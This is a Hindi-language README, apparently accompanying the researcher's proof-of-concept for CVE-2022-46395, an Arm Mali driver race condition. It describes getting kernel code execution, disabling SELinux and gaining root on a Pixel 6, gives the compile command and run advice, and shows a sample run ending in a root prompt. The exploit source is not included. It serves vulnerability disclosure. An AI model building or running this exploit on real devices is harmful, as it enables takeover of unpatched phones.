
CVE-2022-46395 के लिए एक्सप्लॉइट, एक Arm Mali कर्नेल ड्राइवर भेद्यता, जो Google Pixel 6 पर SELinux को अक्षम करने और root प्राप्त करने के लिए मनमाना कर्नेल कोड निष्पादन प्राप्त करती है।
विस्तृत विवरण यहाँ पाया जा सकता है। यह Arm Mali कर्नेल ड्राइवर में एक बग है जिसे मैंने नवंबर 2022 में रिपोर्ट किया था। इस बग का उपयोग अविश्वसनीय (untrusted) ऐप डोमेन से मनमाना कर्नेल कोड निष्पादन (arbitrary kernel code execution) प्राप्त करने के लिए किया जा सकता है, जिसका उपयोग SELinux को अक्षम करने और रूट प्राप्त करने के लिए किया जाता है।
यह एक्सप्लॉइट Google Pixel 6 पर नवंबर 2022 और जनवरी 2023 पैच के साथ परीक्षण किया गया है। संदर्भ के लिए, मैंने ndk-21 में clang के साथ संकलित (compile) करने के लिए निम्नलिखित कमांड का उपयोग किया:
android-ndk-r21d-linux-x86_64/android-ndk-r21d/toolchains/llvm/prebuilt/linux-x86_64/bin/aarch64-linux-android30-clang -DSHELL mali_user_buf.c mempool_utils.c mem_write.c -o mali_user_buf
एक्सप्लॉइट को बूट के कुछ मिनट बाद चलाया जाना चाहिए और सफल होने के लिए संभवतः कुछ मिनटों तक चलाना पड़ सकता है। रेस कंडीशन (race condition) में सैकड़ों बार विफल होना असामान्य नहीं है, हालाँकि रेस कंडीशन की विफलता का कोई बुरा प्रभाव नहीं होता है और समग्र रूप से एक्सप्लॉइट शायद ही कभी क्रैश होता है। सफल होने पर, यह SELinux को अक्षम कर देगा और रूट प्राप्त कर लेगा।
oriole:/ $ /data/local/tmp/mali_user_buf
fingerprint: google/oriole/oriole:13/TQ1A.230105.002/9325679:user/release-keys
benchmark_time 357
failed after 100
failed after 200
failed after 300
benchmark_time 343
failed after 400
failed after 500
failed after 600
benchmark_time 337
failed after 700
failed after 800
failed after 900
benchmark_time 334
failed after 1000
failed after 1100
failed after 1200
benchmark_time 363
failed after 1300
finished reset: 190027720 fault: 135735849 772 err 0 read 3
found pgd at page 4
overwrite addr : 76f6100710 710
overwrite addr : 76f5f00710 710
overwrite addr : 76f6100710 710
overwrite addr : 76f5f00710 710
overwrite addr : 76f5d00710 710
overwrite addr : 76f5b00710 710
overwrite addr : 76f5d00710 710
overwrite addr : 76f5b00710 710
overwrite addr : 76f6100fd4 fd4
overwrite addr : 76f5f00fd4 fd4
overwrite addr : 76f6100fd4 fd4
overwrite addr : 76f5f00fd4 fd4
overwrite addr : 76f5d00fd4 fd4
overwrite addr : 76f5b00fd4 fd4
overwrite addr : 76f5d00fd4 fd4
overwrite addr : 76f5b00fd4 fd4
result 50
oriole:/ #